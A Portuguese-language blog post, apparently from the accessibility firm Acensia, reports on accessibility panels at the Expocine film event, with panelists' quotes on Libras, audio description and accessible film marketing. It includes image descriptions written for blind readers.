À frente do telão, estão sentados lado a lado: Suzana, Giuliano, Alessandra, Danielle e Leonardo. Bruna está à esquerda, em pé com as mãos à frente do tórax.

Cinema, Expocine e Acensia: Acessibilizando o tema acessibilidade!

Começamos essa semana com o Dia do Cinema e nada mais justo do que relembrar um dos maiores eventos da América Latina do setor, a Expocine, onde a ACENSIA acessibilizou em Libras e Audiodescrição todo o conteúdo, desde as palestras às rodas de discussão com um time de intérpretes, tradutores e consultores de AD.

Logo no primeiro dia surgiu o tema acessibilidade durante a Palestra Marketing nas Três Pontas, com uma pergunta vinda do público sobre como tornar esse conteúdo  Audiovisual mais acessível e inclusivo.

Vitoria Durazzo, da distribuidora Paris Filmes, abriu a discussão explicando sobre a necessidade de um painel acessível, de um conteúdo mais acessível, mas também de ir além e ter todos os materiais da comunicação e divulgação do produto acessíveis. Ela exemplificou com o processo de divulgação  do filme Turma da Mônica “Fizemos trailler, pílula, spot, especialmente por ser um conteúdo educativo. Por isso compreendemos a necessidade de considerar essa questão não só para o filme em si como também para todos os materiais de divulgação”.

Para Dannielle Alarcón, da Gullane Filmes, o tema ainda é recente mas explicou que já estão dando passos rumo a inclusão. “Deve ser pautado tanto a partir do distribuidor dentro do plano de divulgação quanto  no cronograma do produtor, pois é importante que ambos considerem o gap que vai existir, para que seja colocado nos cronogramas de produção e pós – produção. “Não liberar materiais tão em cima, pois colocando na prática dentro do  cronograma, é possível ter uma certeza maior de que isso efetivamente será produzido”.

A discussão dentro das salas de cinema foi explanada por Patricia Cotta, da Kinoplex. “Nós estudamos muito e fizemos muitas cabines universitárias, conversamos bastante com os PCDs, como  esse conteúdo deveria ser apresentado, se era avatar ou humanizado. Estamos num processo de aprendizado” afirmou. Ela destacou que essa questão ainda é recente, mas que estão em contato direto com alguns grupos que os treinaram. “Houve essa necessidade e precisamos estudar além da própria sala de cinema, começando já no processo de atendimento, na bilheteria e compra do ingresso. Estamos num processo de treinamento ainda, mas acho uma questão de obrigação de todos os canais de entretenimento estarem acessíveis para todos.” concluiu.

A comunicação vem sofrendo mudanças significativas com os Stakeholders internos e externos, por isso um dos destaques no tema Acessibilidade foi com a palestra dos diretores da Acensia, Danielle Franco e Leonardo Edde. No palco, além de Danielle e Leonardo, foram convidados para o debate Suzana Pohrtal, Consultora de Audiodescrição; Giuliano Robert, Produtor e Consultor de Libras e Alessandra Ganassoli, Consultora de Audiodescrição e Cinema.

À frente do telão, estão sentados lado a lado: Suzana, Giuliano, Alessandra, Danielle e Leonardo. Bruna está à esquerda, em pé com as mãos à frente do tórax.

Para Suzana, a primeira coisa que ela aprendeu foi a importância da consultoria com o fato de ser usuária,  sentiu que esse trabalho trouxe para ela um pertencer da sociedade. “Quem melhor para avaliar se essa experiência está sendo 100% do que a pessoa que de fato vivencia isso?. Por isso, não existe acessibilidade sem o  crivo do PCD.” conclui

Lado a lado estão Bruna que é intérprete de Libras, Suzana e Giuliano. Ele olha para outra intérprete à frente do palco. Todos estão sentados, exceto Bruna.

Giuliano explicou em Libras que a Acensia conta com 3 vertentes de acessibilidade: a legenda descritiva, a audiodescrição e a língua de sinais. Destacou o trabalho minucioso da equipe para acessibilizar esse conteúdo para diversos públicos. “A equipe trabalha para dar valor a todos esses acessos. Assim temos a força da acessibilidade conosco.”, enfatiza.

Suzana tem cabelos longos. Giuliano tem cabelos curtos com as mãos à  frente do tórax. Alessandra tem cabelos curtos e usa óculos. Estão sentados.

Já na opinião da Alessandra, é preciso discutir mais sobre a qualidade dessa audiodescrição. Ela deu exemplos de direção de fotografia, posicionamento da câmera, cenário, figurino, elementos que montam o enquadramento e como tudo isso ajuda a contar a história. “Uma audiodescrição com o telefone toca? Isso já sabemos. Vamos falar sobre alguma coisa que seja super interessante pra gente.” Ela acabou de entrar nesse universo de baixa visão e quer muito contribuir para essa acessibilidade como alguém que já atuou na área de cinema.

Confira a galeria de fotos abaixo:

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